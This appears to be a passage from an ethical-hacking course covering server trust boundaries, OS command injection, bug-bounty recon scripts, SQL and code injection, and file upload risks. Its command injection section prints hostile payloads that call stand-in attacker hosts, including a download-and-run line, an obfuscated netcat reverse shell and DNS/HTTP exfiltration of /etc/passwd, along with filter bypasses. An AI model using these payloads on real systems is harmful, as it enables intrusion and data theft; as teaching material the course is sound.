• Parsing HTTP requests (methods, headers, paths, parameters)
• Serving static content such as HTML, CSS, JavaScript, and images
• Forwarding dynamic requests to backend application servers
• Generating responses and enforcing protocol compliance
• Recording access and error logs for monitoring and forensics

Common Web Server Types

• Apache HTTP Server – Uses a process or thread-based model, supports per-directory configuration, and is widely deployed in shared hosting environments.
• Nginx – Uses an event-driven, asynchronous model, commonly deployed as a reverse proxy, load balancer, or edge server in modern architectures.
• Microsoft IIS – Integrated with the Windows ecosystem, tightly coupled with ASP.NET and Active Directory-based environments.

Authoritative vs Unauthoritative Servers

In modern web applications, a single user request often passes through multiple servers. However, not every server should be trusted to make important security decisions. Understanding the distinction between authoritative and unauthoritative servers is crucial for proper security architecture.

🔐 Authoritative Server (The Final Decision Maker)

An authoritative server is the server that makes the final decision about what a user is allowed to do. It has complete knowledge of the user, their permissions, and the application’s rules. This server is the ultimate source of truth for authentication, authorization, and business logic.

• Responsibilities:
  • Decides whether a user is authenticated or not
  • Checks user roles, permissions, and access rights
  • Applies business logic and security rules
  • Directly interacts with databases, identity providers, or sensitive services
  • Issues tokens or session cookies after successful authentication
• Examples:
  • Application server (e.g., backend API written in Node.js, Django, Spring Boot)
  • Authentication server (e.g., OAuth2 authorization server, OpenID Connect provider)
  • Database server (when enforcing row-level security)

🔄 Unauthoritative Server (The Messenger)

An unauthoritative server is a server that helps move the request but should not decide what the user is allowed to access. It may add performance, caching, or routing capabilities, but it lacks the full context to make security decisions.

• Characteristics:
  • Routes or forwards requests to other servers
  • Handles performance, caching, or load balancing
  • Does not fully understand user identity or permissions
  • Often relies on headers or metadata provided in the request (e.g., X-Forwarded-For, Authorization header)
  • May terminate TLS (HTTPS) and forward requests in plain HTTP to internal networks

📦 Types of Unauthoritative Servers

Note: Many servers combine multiple roles (e.g., Nginx can act as reverse proxy, load balancer, TLS terminator, and cache). The key principle is that none of these should be solely responsible for authentication or authorization decisions.

📊 Comparison Table: Authoritative vs Unauthoritative Servers

⚠️ Common Security Pitfalls

When unauthoritative servers are mistakenly trusted to enforce security, serious vulnerabilities arise:

• Trusting client‑supplied headers: For example, using X-Forwarded-For or X-Real-IP without verification can lead to IP spoofing. An attacker can forge these headers if the proxy does not overwrite them.
• Performing access control at the proxy level: A reverse proxy might block certain URLs based on path, but if the authoritative server has different routing rules, an attacker could bypass restrictions.
• Relying on unauthoritative servers for authentication: Some proxies can be configured to require client certificates, but the final decision must always be confirmed by the authoritative server.
• Caching sensitive data: A CDN or cache server might store authenticated responses, leading to data leakage if cache controls are not properly set.

✅ Best Practices

• Defense in depth: Even if a proxy performs some checks, the authoritative server must re‑validate all inputs and decisions.
• Use standard headers securely: Configure proxies to overwrite headers like X-Forwarded-For and X-Forwarded-Proto so that clients cannot inject fake values.
• Network segmentation: Place authoritative servers in a protected internal network, accessible only through trusted proxies.
• End‑to‑end encryption: Use TLS between the proxy and the authoritative server to prevent eavesdropping or tampering.
• Minimize trust: Assume that any data coming from an unauthoritative server (including headers) can be manipulated; validate everything.

Trust Boundaries and Security Implications

• Headers added by a client may be trusted incorrectly by upstream servers
• IP-based access controls can fail when proxies are involved
• URL rewriting and normalization may differ between layers
• Frontend validation may not match backend enforcement
• Logging may occur on one layer while decisions happen on another

Security Relevance for Ethical Hackers

• Identifying which server is authoritative for security decisions
• Understanding how headers influence routing and access control
• Recognizing reverse proxy and load balancer behavior
• Detecting mismatches between frontend and backend validation
• Interpreting server responses and logs accurately

02.13 Application Servers vs Web Servers

Web servers and application servers serve fundamentally different purposes within a web architecture. Confusing these roles leads to incorrect security assumptions, misplaced trust, and exploitable attack paths.

Modern web applications commonly deploy both server types together, creating layered request processing where responsibility must be clearly defined and enforced.

Web Server Responsibilities

• Accepting client connections and managing HTTP sessions
• Parsing HTTP requests (methods, headers, URLs, parameters)
• Terminating TLS and enforcing transport-level security
• Serving static content efficiently
• Routing and forwarding requests to backend services
• Applying basic access restrictions and rate limits

Application Server Responsibilities

• Executing application and business logic
• Handling authentication workflows
• Performing authorization and role validation
• Interacting with databases and internal services
• Processing user input and enforcing data integrity
• Generating dynamic responses

Typical Deployment Architecture

• Client → Web Server (reverse proxy)
• Web Server → Application Server
• Application Server → Database or internal APIs

Trust Boundary Breakdown

• Frontend validates input, backend assumes it is safe
• Headers added or modified during request forwarding
• IP-based access control evaluated at the wrong layer
• Inconsistent URL normalization and decoding
• Authentication state inferred instead of verified

Security Implications

• Authentication bypass due to mismatched validation
• Authorization flaws caused by trust assumptions
• Request smuggling between frontend and backend
• Exposure of internal APIs or admin functionality
• Incomplete or misleading security logs

Defensive Design Principles

• Enforce authentication and authorization at the application server
• Minimize trust in forwarded headers and client-supplied data
• Ensure consistent request normalization across layers
• Log security-relevant events at authoritative components
• Clearly document responsibility boundaries between servers

03.14 Server Request Handling & Attack Surface

Every HTTP request passes through multiple processing stages across web servers, proxies, and application servers. Each stage performs interpretation, transformation, or validation, introducing potential gaps between what the client sends and what the server understands.

These gaps define the server-side attack surface, where inconsistent parsing, misplaced trust, or incomplete validation can lead to security failures.

Request Lifecycle Overview

• Connection establishment – TCP connection setup and session handling
• TLS negotiation – Encryption, certificate validation, and cipher agreement
• Initial request parsing – Method, headers, path, and protocol interpretation
• Normalization & decoding – URL decoding, canonicalization, and rewriting
• Routing decisions – Mapping requests to handlers or backend services
• Application logic execution – Authentication, authorization, and business rules
• Response generation – Status codes, headers, and body creation
• Logging & monitoring – Recording activity for auditing and detection

Key Request Handling Components

• HTTP method handling – Determines permitted actions and side effects
• Header processing – Influences routing, authentication, and caching
• Path resolution – Controls file access and endpoint selection
• Parameter parsing – Shapes application behavior and logic flow
• State management – Session, cookie, and token handling

Major Attack Surfaces

• Inconsistent handling of HTTP methods across layers
• Blind trust in forwarded or client-controlled headers
• Differences in URL decoding and normalization rules
• Frontend validation not enforced by backend logic
• Security decisions made by unauthoritative components
• Logging that does not reflect actual request behavior

Frontend vs Backend Interpretation

• Web servers may rewrite URLs before forwarding
• Proxies may add, remove, or modify headers
• Application servers may re-parse requests independently
• Security controls may exist at only one layer

Logging, Visibility & Evidence

• Different layers may log different representations of a request
• Frontend logs may not reflect backend processing
• Backend errors may be masked by proxies
• Insufficient logging limits detection and forensic analysis

Defensive Perspective

• Centralize authentication and authorization logic
• Apply consistent request normalization across layers
• Avoid trusting client-controlled or forwarded headers
• Ensure security checks are enforced at authoritative servers
• Correlate logs across frontend and backend components

3.1 What is OS Command Injection & Why It Happens

OS Command Injection (also called shell injection) occurs when an application passes unsanitized user input to a system shell. Attackers can inject arbitrary commands that the operating system executes with the same privileges as the vulnerable application.

User Input:  "; whoami" (attacker supplies)
                │
                ▼
Application: "ping -c 4 " + userInput
                │
                ▼
Final Command: ping -c 4 ; whoami
                │
                ▼
Shell interprets: runs ping, then runs whoami
                                 

🔍 Why Does It Happen? (Deep Dive)

• Direct concatenation of user input into shell commands without sanitisation.
• Using dangerous functions that invoke a shell (e.g., system(), exec(), shell_exec(), passthru(), popen() in PHP; os.system(), subprocess.call(shell=True) in Python; child_process.exec() in Node.js; Runtime.exec() without argument separation in Java).
• Insufficient input validation – allowing special characters like ;, |, &, $(), ` to reach the shell.
• Misbelief that data will never be malicious – developers often trust internal data or assume users won’t inject commands. This is a dangerous assumption.
• Blacklisting instead of whitelisting – trying to block known bad patterns is almost always incomplete.

💻 Vulnerable Code Examples (Multiple Languages)

$ip = $_GET['ip'];
system("ping -c 4 " . $ip);

import os
ip = request.args.get('ip')
os.system(f"ping -c 4 {ip}")

const { exec } = require('child_process');
exec(`ping -c 4 ${req.query.ip}`);

String ip = request.getParameter("ip");
Runtime.getRuntime().exec("ping -c 4 " + ip);

⚠️ Why Blacklisting Fails (and Whitelisting is the Answer)

Many developers attempt to block characters like ; or |. But attackers have endless bypasses:

• Newline (%0a) instead of semicolon
• Pipe with spaces around: | still works
• Environment variable tricks: ${IFS} for space
• Command substitution: `whoami` or $(whoami)
• Encoding: URL encode, double encode, Unicode homoglyphs

Safe approach: Whitelist allowed values (e.g., only numbers and dots for IP). Never rely on blacklisting.

🔧 Fixed Code Examples (Secure)

$ip = escapeshellarg($_GET['ip']);
system("ping -c 4 " . $ip);

import subprocess
subprocess.run(["ping", "-c", "4", ip], shell=False)

3.2 How Command Injection Works (Web App → Shell → OS)

The attack flow follows a clear path from the browser down to the operating system kernel.

┌────────┐       ┌───────────┐
│ Browser│─────▶│ Web Server│
└────────┘       └─────┬─────┘
                      │
                      ▼
             ┌────────────────┐
             │ PHP/Python/Node│
             └────────┬───────┘
                      │
            concatenate user input
                      │
                      ▼
            ┌─────────────────┐
            │system() / exec()│
            └────────┬────────┘
                      │
                      ▼
                 ┌─────────┐
                 │  Shell  │
                 └────┬────┘
                      │
            parse & expand metacharacters
                      │
                      ▼
        ┌─────────────┴─────────────┐
        │ Command 1  |  Command 2   │
        └─────────────┬─────────────┘
                      │
                      ▼
                 ┌─────────┐
                 │OS Kernel│
                 └────┬────┘
                      │
                      ▼
                 ┌─────────┐
                 │ Output  │
                 └─────────┘
                                 

🧩 Step‑by‑Step Execution (Time‑based example)

1. User input: 8.8.8.8; sleep 5
2. Application builds command: ping -c 4 8.8.8.8; sleep 5
3. Shell interprets: runs ping, then runs sleep 5.
4. Response delay: if the application waits for both commands, the response takes at least 5 seconds.
5. Confirmation: a delay proves injection worked (blind detection).

💥 How Shell Parsing Works – Metacharacters & Command Injection

The shell interprets certain characters as metacharacters that alter command execution. Attackers use these to inject additional commands.

🔍 Different Injection Contexts (Where the Payload Lands)

The context in which user input appears changes how an attacker must structure the payload.

• End of the command (easiest): ping 8.8.8.8 {user_input} → 8.8.8.8; whoami
• Middle of the command (requires breaking out): cat {user_input}.txt → ../../etc/passwd ; whoami
• Inside quotes (must close quotes): grep "{user_input}" file.txt → " ; whoami ; "
• Inside backticks or substitution (complex): eval "echo {user_input}" → `whoami`

# Vulnerable command
grep "{user_input}" /var/log/auth.log

# Attack payload
" ; cat /etc/passwd ; "

# Resulting command
grep "" ; cat /etc/passwd ; "" /var/log/auth.log
→ The shell runs: cat /etc/passwd

🔄 Advanced Chaining – Combining Multiple Commands & Obfuscation

# Download and execute a script in one line
8.8.8.8; wget http://evil.com/s.sh -O /tmp/s.sh; bash /tmp/s.sh

# Reverse shell using netcat without spaces (using ${IFS})
127.0.0.1; nc${IFS}-e${IFS}/bin/sh${IFS}10.0.0.1${IFS}4444

# Data exfiltration via DNS (Linux)
8.8.8.8; nslookup $(whoami).attacker.com

🛡️ Why Blind Injection Works Even Without Output

Many command injections are blind – the attacker never sees command output. They use side‑channels:

• Time‑based: sleep 10 → response delay
• DNS exfiltration: nslookup $(whoami).attacker.com → attacker sees query in DNS logs
• HTTP callback: curl http://attacker.com/$(id) → attacker’s web server logs
• Out‑of‑band file write: wget --post-file=/etc/passwd http://attacker.com/collect

3.3 Special Characters, Operators & Injection Payloads

The shell uses several special characters that attackers abuse to chain commands, redirect output, or perform substitutions. Understanding each operator is essential for both exploitation and defense.

🔥 Common Injection Payloads (by goal)

🧠 Deep Dive: Why Each Operator Works

• Semicolon (;) – Simplest injection. It tells the shell to finish the first command and start a new one. Works regardless of exit status.
• Pipe (|) – Allows processing output of one command into another. Often used to filter results or chain tools.
• Ampersand (&) – Runs the command in the background. Useful when you want the web application to return quickly while the injection continues running.
• AND / OR (&& / ||) – Conditionally execute based on success/failure. Attackers use these to retry or to ensure the injected part only runs in certain conditions.
• Command substitution (`` / $()) – Embeds the output of one command directly into the command line. Great for exfiltrating data through error messages or HTTP responses.
• ${IFS} – Space replacement. Many filters remove spaces; ${IFS} is a built‑in variable that expands to whitespace, bypassing naive filters.

4.1 What is Recon in Bug Hunting?

Reconnaissance (Recon) is the most critical phase in bug bounty hunting. It's the process of gathering information about a target before launching any attack.

🎯 Why Recon is Important

4.2 Passive vs Active Recon

4.3 Subdomain Enumeration Fundamentals

Subdomain enumeration is the process of discovering all subdomains associated with a target domain. This often reveals forgotten, vulnerable, or test applications.

🔍 7 Subdomain Enumeration Techniques

🛠️ Best Automation Workflow for Subdomains

#!/bin/bash
# Complete subdomain enumeration workflow

TARGET="target.com"

# 1. Passive Enumeration
echo "[*] Passive enumeration started..."
# Certificate Transparency
curl -s "https://crt.sh/?q=%.$TARGET&output=json" | jq -r '.[].name_value' | sort -u > certs.txt

# SecurityTrails (API required)
curl -s "https://api.securitytrails.com/v1/domain/$TARGET/subdomains" -H "APIKEY: your-key" | jq -r '.subdomains[]' > sec.txt

# 2. Active Brute-Force
echo "[*] Active brute-force started..."
puredns bruteforce subdomains.txt $TARGET -r resolvers.txt -w brute.txt

# 3. DNS Resolution
echo "[*] Resolving subdomains..."
cat certs.txt sec.txt brute.txt | sort -u | puredns resolve -r resolvers.txt -w final.txt

# 4. HTTP Probing
echo "[*] Checking live hosts..."
cat final.txt | httpx -status-code -title -tech-detect -o live.txt

echo "[+] Total subdomains found: $(wc -l < final.txt)"
echo "[+] Live hosts: $(wc -l < live.txt)"

4.4 Mapping the Attack Surface

Attack surface mapping is identifying ALL possible entry points an attacker could use to compromise the target.

🗺️ Complete Attack Surface Checklist

🛠️ Automation Command for Attack Surface Mapping

#!/bin/bash
# Comprehensive attack surface mapping

TARGET="target.com"

# 1. Subdomain enumeration (all techniques)
echo "[1] Enumerating subdomains..."
subfinder -d $TARGET -all -o subfinder.txt
assetfinder --subs-only $TARGET > assetfinder.txt
amass enum -passive -d $TARGET -o amass.txt
puredns bruteforce ~/wordlists/subdomains.txt $TARGET -r ~/resolvers.txt -o brute.txt

# Combine all subdomains
cat subfinder.txt assetfinder.txt amass.txt brute.txt | sort -u > all_subs.txt

# 2. Port scanning on discovered IPs
echo "[2] Scanning ports..."
cat all_subs.txt | dnsx -a -resp-only | sort -u > ips.txt
nmap -iL ips.txt -p- --min-rate 1000 -oA nmap_scan

# 3. Web technologies detection
echo "[3] Detecting technologies..."
cat all_subs.txt | httpx -tech-detect -status-code -title -wc -o tech.txt

# 4. Screenshot all live hosts
echo "[4] Taking screenshots..."
cat all_subs.txt | httpx -o live.txt
gowitness file -f live.txt

# 5. Directory fuzzing on high-value targets
echo "[5] Fuzzing directories..."
ffuf -w ~/wordlists/directory.txt -u http://FUZZ.target.com -c -t 100 -o fuzz.json

echo "[+] Attack surface mapping complete!"

4.5 Recon Methodology Used by Top Bug Hunters

📋 Detailed Top Hunter Workflow

#!/bin/bash
# Top bug hunter recon workflow (TomNomNom, Nahamsec, Jason Haddix style)

TARGET="target.com"

# ========== PHASE 1: PASSIVE OSINT ==========
echo "[Phase 1] Passive OSINT..."

# Certificate Transparency (crt.sh)
curl -s "https://crt.sh/?q=%.$TARGET&output=json" | jq -r '.[].name_value' | sed 's/\*\.//g' | sort -u > phase1.txt

# AlienVault OTX
curl -s "https://otx.alienvault.com/api/v1/indicators/domain/$TARGET/passive_dns" | jq -r '.passive_dns[]?.hostname' >> phase1.txt

# SecurityTrails (if you have API)
curl -s "https://api.securitytrails.com/v1/domain/$TARGET/subdomains" -H "APIKEY: your-key" | jq -r '.subdomains[]' >> phase1.txt

# ========== PHASE 2: ACTIVE SUBDOMAIN ENUM ==========
echo "[Phase 2] Active subdomain discovery..."

# Brute-force with multiple wordlists
puredns bruteforce ~/wordlists/subdomains/best-dns.txt $TARGET -r ~/wordlists/resolvers.txt -w brute1.txt
puredns bruteforce ~/wordlists/subdomains/commonspeak.txt $TARGET -r ~/wordlists/resolvers.txt -w brute2.txt
puredns bruteforce ~/wordlists/subdomains/bitquark.txt $TARGET -r ~/wordlists/resolvers.txt -w brute3.txt

# Permutations (alter ego technique)
cat phase1.txt brute*.txt | sort -u | dnsgen - | puredns resolve -r ~/wordlists/resolvers.txt -w permutations.txt

# ========== PHASE 3: RESOLUTION & PROBING ==========
echo "[Phase 3] Resolution and probing..."

# Combine and resolve
cat phase1.txt brute*.txt permutations.txt | sort -u | puredns resolve -r ~/wordlists/resolvers.txt -w resolved.txt

# Probe for live hosts with technology detection
cat resolved.txt | httpx -status-code -title -tech-detect -content-length -web-server -o live.json

# ========== PHASE 4: CONTENT DISCOVERY ==========
echo "[Phase 4] Content discovery..."

# Extract live hosts
cat live.json | jq -r '.url' > live_urls.txt

# Directory fuzzing on each live host
for url in $(cat live_urls.txt); do
    ffuf -u $url/FUZZ -w ~/wordlists/directory.txt -c -t 50 -of csv -o "${url//[:\/]/_}.csv"
done

# JavaScript file extraction and analysis
katana -u $TARGET -d 5 -silent | grep "\.js" | tee js_files.txt

# ========== PHASE 5: PARAMETER DISCOVERY ==========
echo "[Phase 5] Parameter discovery..."

# Extract all URLs with parameters
gospider -s "https://$TARGET" -d 2 -o output.txt

# Arjun for parameter discovery
arjun -u "https://$TARGET" -oT params.txt

# ========== FINAL REPORT ==========
echo "[+] Recon completed for $TARGET"
echo "Total subdomains: $(wc -l < resolved.txt)"
echo "Live hosts: $(wc -l < live_urls.txt)"
echo "JavaScript files: $(wc -l < js_files.txt)"
echo "Parameters discovered: $(wc -l < params.txt)"

4.6 Why Most Bug Hunters Fail

📊 Success Statistics

4.7 Mindset of a Successful Bug Hunter

4.8 Building Your Recon Automation Workflow

🔧 Complete Recon Automation Script

#!/bin/bash
# ============================================================
# COMPLETE RECON AUTOMATION WORKFLOW
# ============================================================

TARGET="$1"
OUTPUT_DIR="recon/$TARGET"

if [ -z "$TARGET" ]; then
    echo "Usage: $0 target.com"
    exit 1
fi

mkdir -p $OUTPUT_DIR
cd $OUTPUT_DIR

# ========== STEP 1: PASSIVE SUBDOMAIN ENUMERATION ==========
echo "[1/8] Passive subdomain enumeration..."
subfinder -d $TARGET -all -o passive_subs.txt
assetfinder --subs-only $TARGET >> passive_subs.txt
amass enum -passive -d $TARGET -o amass_subs.txt
cat passive_subs.txt amass_subs.txt | sort -u > all_passive.txt

# ========== STEP 2: ACTIVE SUBDOMAIN ENUMERATION ==========
echo "[2/8] Active subdomain enumeration..."
puredns bruteforce /usr/share/wordlists/seclists/Discovery/DNS/combined.txt $TARGET -r /opt/resolvers.txt -o active_subs.txt

# ========== STEP 3: SUBDOMAIN PERMUTATIONS ==========
echo "[3/8] Generating permutations..."
cat all_passive.txt active_subs.txt | sort -u | dnsgen - | puredns resolve -r /opt/resolvers.txt -o permutations.txt

# ========== STEP 4: COMBINE ALL SUBDOMAINS ==========
echo "[4/8] Combining all subdomains..."
cat all_passive.txt active_subs.txt permutations.txt | sort -u > all_subs.txt
echo "Total subdomains: $(wc -l < all_subs.txt)"

# ========== STEP 5: RESOLVE AND PROBE ==========
echo "[5/8] Probing live hosts..."
cat all_subs.txt | httpx -status-code -title -tech-detect -content-length -web-server -json -o live.json
cat live.json | jq -r '.url' | tee live_urls.txt
echo "Live hosts: $(wc -l < live_urls.txt)"

# ========== STEP 6: PORT SCANNING ==========
echo "[6/8] Port scanning discovered IPs..."
cat all_subs.txt | dnsx -a -resp-only | sort -u > ips.txt
nmap -iL ips.txt -p 80,443,8080,8443,3000,5000,8000,9000 -sV -oA port_scan

# ========== STEP 7: CONTENT DISCOVERY ==========
echo "[7/8] Content discovery..."
# Directory fuzzing on top domains
head -20 live_urls.txt | while read url; do
    domain=$(echo $url | sed 's/https\?:\/\///')
    ffuf -u $url/FUZZ -w /usr/share/wordlists/seclists/Discovery/Web-Content/common.txt -t 50 -of csv -o "fuzz_$domain.csv"
done

# JavaScript file discovery
katana -u $TARGET -d 3 -silent | grep -E "\.js(\?|$)" | sort -u > js_files.txt

# Endpoint discovery
gospider -s "https://$TARGET" -d 2 -t 10 -o gospider_output.txt

# ========== STEP 8: SCREENSHOTS ==========
echo "[8/8] Taking screenshots..."
cat live_urls.txt | gowitness scan --destination screenshots/

# ========== FINAL REPORT ==========
echo "=========================================="
echo "RECON COMPLETED FOR $TARGET"
echo "=========================================="
echo "Location: $OUTPUT_DIR"
echo "Subdomains: $(wc -l < all_subs.txt)"
echo "Live hosts: $(wc -l < live_urls.txt)"
echo "IPs found: $(wc -l < ips.txt)"
echo "JS files: $(wc -l < js_files.txt)"
echo "=========================================="

# Generate summary report
{
    echo "# Recon Report for $TARGET"
    echo "## Summary"
    echo "- **Date:** $(date)"
    echo "- **Subdomains Found:** $(wc -l < all_subs.txt)"
    echo "- **Live Hosts:** $(wc -l < live_urls.txt)"
    echo "- **IPs Found:** $(wc -l < ips.txt)"
    echo ""
    echo "## Live Hosts"
    cat live_urls.txt
} > README.md

4.9 Common Recon Mistakes Beginners Make

# BAD
subfinder -d target.com

# GOOD
subfinder -d target.com -all
assetfinder --subs-only target.com
amass enum -passive -d target.com
puredns bruteforce wordlist.txt target.com
cat * | sort -u > all_subs.txt

# BAD - No resolution
cat subs.txt | wc -l
# Output: 1000 subdomains (many are false positives)

# GOOD - Resolve first
cat subs.txt | puredns resolve -r resolvers.txt -w resolved.txt
# Output: 150 confirmed subdomains (real hosts)

# Check for Cloudflare
curl -I https://target.com | grep -i "cf-ray"

# Get origin IP (bypass CDN)
dig target.com +trace
nslookup target.com 8.8.8.8

# Filter only in-scope subdomains
cat all_subs.txt | grep -E "\.target\.com$|\.target\.net$" > in_scope.txt

# BAD - No delays
ffuf -u http://target.com/FUZZ -w wordlist.txt

# GOOD - With rate limiting
ffuf -u http://target.com/FUZZ -w wordlist.txt -t 20 -rate 100

4.10 Real Bug Bounty Recon Case Study

# Recon Checklist for Every Target
# =================================

[ ] 1. Domain/Program scope review
[ ] 2. Passive OSINT (no direct contact)
    [ ] Certificate Transparency (crt.sh)
    [ ] SecurityTrails
    [ ] AlienVault OTX
    [ ] URLScan.io
    [ ] WayBack Machine
    [ ] GitHub code search
    [ ] Google/Bing dorks
    
[ ] 3. Subdomain Enumeration
    [ ] Subfinder
    [ ] Assetfinder
    [ ] Amass (passive)
    [ ] DNS brute-force
    [ ] DNS permutations
    [ ] All subdomains resolved
    
[ ] 4. Technology Detection
    [ ] HTTPx for all live hosts
    [ ] Wappalyzer
    [ ] WhatWeb
    [ ] Port scanning (nmap)
    
[ ] 5. Content Discovery
    [ ] Directory fuzzing
    [ ] File fuzzing (backups, configs)
    [ ] JavaScript file analysis
    [ ] Parameter discovery
    
[ ] 6. Vulnerability Testing
    [ ] XSS in all parameters
    [ ] SQL injection
    [ ] LFI/RFI
    [ ] IDOR
    [ ] Open redirects
    [ ] Subdomain takeover
    [ ] CORS misconfigurations
    
[ ] 7. Documentation
    [ ] All findings documented
    [ ] Screenshots taken
    [ ] Proof of concept ready
    [ ] Report drafted

5.1 What is SQL Injection?

🔍 Definition

SQL Injection occurs when an application inserts untrusted user input directly into an SQL query without proper validation or parameterization. This allows attackers to modify the query’s logic.

🗄️ Why Databases Are a Prime Target

• Databases store usernames, passwords, emails, and financial data
• Databases often control application behavior
• One vulnerable query can expose the entire system

5.2 How SQL Injection Works (Attack Flow)

🔄 Step-by-Step Breakdown

1. User submits input through a form, URL, cookie, or header
2. Application builds an SQL query dynamically
3. Input is not sanitized or parameterized
4. Database executes attacker-controlled SQL

📌 Common Vulnerable Locations

• Login forms
• Search boxes
• Product filters
• URL parameters (GET requests)
• Cookies and HTTP headers
• API parameters

5.3 Types of SQL Injection

🧩 1. In-Band SQL Injection

The attacker receives data through the same channel used to send the request. This is the most common and easiest form.

• Error-based SQL Injection
• Union-based SQL Injection

🧩 2. Blind SQL Injection

The application does not display database errors or results, but the attacker can infer behavior from responses.

• Boolean-based blind SQLi
• Time-based blind SQLi

🧩 3. Out-of-Band SQL Injection

The database sends data to an external system controlled by the attacker. This occurs when in-band methods are not possible.

5.4 Authentication Bypass via SQL Injection

🔓 How Login Bypass Happens

Many applications build login queries using user input. Attackers manipulate conditions to force authentication success.

📌 Impact of Authentication Bypass

• Unauthorized access to user accounts
• Admin panel compromise
• Privilege escalation
• Complete application takeover

5.5 Impact of SQL Injection

💥 Technical Impact

• Data leakage (usernames, passwords, PII)
• Data modification or deletion
• Database corruption
• Remote code execution (in some DBs)

🏢 Business Impact

• Financial loss
• Legal penalties
• Loss of customer trust
• Brand reputation damage

5.6 SQL Injection in Modern Applications

SQL Injection is not limited to old applications. Modern systems can still be vulnerable due to:

• Improper ORM usage
• Dynamic query building
• Legacy code in modern apps
• API-based SQL queries
• Microservices with shared databases

5.7 Prevention & Secure Coding Practices

🛡️ Core Defenses

• Use prepared statements (parameterized queries)
• Never build SQL queries using string concatenation
• Apply strict input validation
• Use least-privileged database accounts
• Disable detailed database error messages

📋 Defense-in-Depth

• Web application firewalls (WAF)
• Database activity monitoring
• Secure error handling
• Logging and alerting

5.8 Ethical Testing & Defensive Mindset

Ethical hackers test SQL Injection vulnerabilities only within authorized environments and scope.

🧠 Defensive Thinking

• Think like an attacker
• Assume all input is hostile
• Design queries safely from day one
• Test continuously

6.1 Understanding Code Injection Flaws

🔍 What is Code Injection?

Code Injection occurs when an application dynamically executes code constructed using untrusted input. Instead of being treated as data, user input is interpreted as program instructions.

🧠 Why Code Injection Is Critical

• Leads to remote code execution (RCE)
• Allows attackers to bypass all business logic
• Often results in complete server compromise
• Hard to detect with traditional security controls

📌 Common Root Causes

• Dynamic code evaluation (eval-like functions)
• Unsafe deserialization
• Template engines with logic execution
• Improper input validation
• Mixing code and data

6.2 Code Injection vs OS Command Injection

⚖️ Key Differences

6.3 Languages Commonly Affected

🧩 PHP

• eval()
• assert()
• preg_replace with /e modifier
• Dynamic includes

🐍 Python

• eval()
• exec()
• pickle deserialization
• Dynamic imports

🟨 JavaScript

• eval()
• Function()
• setTimeout(string)
• setInterval(string)

6.4 Exploitation Scenarios & Impact

🎯 Common Exploitation Paths

• Template injection leading to logic execution
• Unsafe configuration parsers
• Dynamic expression evaluators
• Deserialization of untrusted data

💥 Impact Analysis

• Complete application takeover
• Credential theft
• Database manipulation
• Lateral movement inside infrastructure

6.5 Secure Coding Defenses & Prevention

🛡️ Core Defense Principles

• Never execute user-controlled input
• Eliminate dynamic code evaluation
• Strict separation of code and data
• Use allow-lists, not deny-lists

✅ Secure Design Practices

• Use parameterized logic instead of dynamic expressions
• Adopt safe template engines
• Disable dangerous language features
• Perform security-focused code reviews

7.1 Dangerous File Upload Risks

📂 What Is an Unrestricted File Upload?

An Unrestricted File Upload vulnerability occurs when an application allows users to upload files without sufficient validation of file type, content, size, name, or storage location.

🧠 Why File Uploads Are High-Risk

• Files can contain executable code
• Files may be directly accessible via the web
• Upload features often bypass authentication checks
• File handling logic is frequently inconsistent

📌 Common Upload Use Cases

• User profile images
• Document uploads (PDF, DOC, XLS)
• Import/export functionality
• Media uploads (audio/video)
• Support ticket attachments

7.2 Bypassing File Type Validation

🔍 Common Validation Mistakes

• Trusting client-side validation only
• Checking file extension instead of content
• Relying on MIME type headers
• Case-sensitive extension checks
• Incomplete allow-lists

🧩 File Type Confusion

Attackers exploit inconsistencies between how browsers, servers, and application logic interpret file types.

📌 Common Bypass Techniques (Conceptual)

• Double extensions (e.g., image.php.jpg)
• Mixed-case extensions
• Trailing spaces or special characters
• Content-type spoofing
• Polyglot files (valid in multiple formats)

7.3 Web Shell Uploads & Malicious Files

🕷️ What Is a Web Shell?

A web shell is a malicious script uploaded to a server that allows attackers to execute commands or control the application remotely.

🎯 Common Malicious Upload Types

• Server-side scripts (PHP, ASP, JSP)
• Configuration override files
• Backdoor binaries
• Script-based loaders
• Client-side malware disguised as documents

📌 Attack Flow (High-Level)

1. Upload malicious file
2. File stored in web-accessible location
3. Attacker accesses file via browser
4. Server executes the file
5. Full application compromise

7.4 Impact on Server & Application Security

💥 Technical Impact

• Remote code execution
• Data exfiltration
• Privilege escalation
• Persistence via backdoors
• Lateral movement

🏢 Business Impact

• Data breaches
• Compliance violations
• Service disruption
• Reputation damage
• Incident response costs

7.5 Secure File Upload Implementation & Prevention

🛡️ Secure Design Principles

• Default deny approach
• Strict allow-list validation
• Server-side validation only
• Separation of upload storage

✅ Recommended Security Controls

• Validate file type using content inspection
• Rename uploaded files
• Store files outside web root
• Disable execution permissions
• Enforce file size limits
• Scan uploads for malware

🧠 Defender Checklist

8.1 Trusting External Code Sources

🔗 What Does This Vulnerability Mean?

A Download of Code Without Integrity Check vulnerability exists when an application retrieves code from an external source without verifying that the code has not been modified.

📌 Common External Code Sources

• JavaScript libraries loaded from CDNs
• Third-party plugins or extensions
• Software auto-update mechanisms
• Package repositories
• Cloud-hosted scripts or binaries

🧠 Why Developers Make This Mistake

• Convenience and faster development
• Assumption that trusted vendors are always safe
• Lack of awareness of supply chain threats
• Over-reliance on HTTPS alone